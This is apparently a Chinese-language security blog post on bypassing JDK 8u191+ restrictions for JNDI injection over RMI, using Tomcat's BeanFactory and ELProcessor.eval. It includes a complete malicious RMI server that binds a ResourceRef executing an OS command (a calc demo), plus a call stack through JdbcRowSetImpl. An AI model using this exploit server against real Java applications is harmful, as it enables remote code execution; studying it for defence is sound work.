《JDK 8u191之后的JNDI注入(RMI)》

参考：

如何绕过高版本 JDK 的限制进行 JNDI 注入利用
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
JNDI Injection Bypass

绕过限制：利用本地Class作为Reference Factory

利用org.apache.naming.factory.BeanFactory
（当然前提是得有tomcat的这个jar包）

与之前的LDAP利用的绕过类似，也是有这么一个方法：
jdk1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext#decodeObject(Remote var1, Name var2)

由于在这个类com.sun.jndi.rmi.registry.RegistryContext的静态代码块中设置了trustURLCodebase为false。除非手动将该JVM参数设置为true。
在这里插入图片描述
下图可见，传统利用方式，在高版本JDK中被限制，抛出异常。

针对 RMI 利用的检查方式中最关键的就是 if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) 如果 FactoryClassLocation 为空，那么就会进入 NamingManager.getObjectInstance 在此方法会调用 Reference 中的ObjectFactory。因此绕过思路为在目标 classpath 中寻找实现 ObjectFactory 接口的类。在 Tomcat 中有一处可以利用的符合条件的类org.apache.naming.factory.BeanFactory 在此类中会获取 Reference 中的forceString 得到其中的值之后会判断是否包含等号，如果包含则用等号分割，将前一半当做方法名，后一半当做 Hashmap 中的 key。如果不包含等号则方法名变成 set开头。值得注意的是此方法中已经指定了参数类型为 String。后面将会利用反射执行前面所提到的方法。因此需要找到使用了 String 作为参数，并且能 RCE的方法。在javax.el.ELProcessor 中的 eval 方法就很合适

参考：
https://bl4ck.in/tricks/2019/01/04/JNDI-Injection-Bypass.html

PoC构造：
将ResourceRef构造器的第七个参数设置为null：
tomcat-embed-core-8.5.11.jar!\org\apache\naming\ResourceRef.class
在这里插入图片描述

完整代码

// TomcatRMIServer.java
/**
* javac -cp  "D:\repos\apache-tomcat-8.5.53\lib\catalina.jar" .\TomcatRMIServer.java
* java -cp ".;D:\repos\apache-tomcat-8.5.53\lib\catalina.jar" TomcatRMIServer
*/
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class TomcatRMIServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1098);
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "a=eval"));
        resourceRef.add(new StringRefAddr("a", "Runtime.getRuntime().exec(\"calc\")"));
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);
        registry.bind("EvalObj", referenceWrapper);
        System.out.println("the Server is bind rmi://127.0.0.1:1098/EvalObj");
    }
}

则对应的factoryLocation属性为null，这样在逻辑判断时，不满足第一个if的条件，于是进入else逻辑中。
在这里插入图片描述
jdk1.8.0_201\jre\lib\rt.jar!\com\sun\jndi\rmi\registry\RegistryContext#decodeObject(Remote var1, Name var2)
继续跟进：
javax.naming.spi.NamingManager#getObjectInstance

继续跟进org.apache.naming.factory.BeanFactory#getObjectInstance

取出RMI服务发过来的对象的值，最后执行：
在这里插入图片描述
以下为演示：

原理是调用了

new javax.el.ELProcessor().eval("Runtime.getRuntime().exec(\"calc\")");

调用栈：

eval:54, ELProcessor (javax.el)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
getObjectInstance:211, BeanFactory (org.apache.naming.factory)
getObjectInstance:321, NamingManager (javax.naming.spi)
decodeObject:499, RegistryContext (com.sun.jndi.rmi.registry)
lookup:138, RegistryContext (com.sun.jndi.rmi.registry)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)

《JDK 8u191之后的JNDI注入(RMI)》

绕过限制：利用本地Class作为Reference Factory

猜你喜欢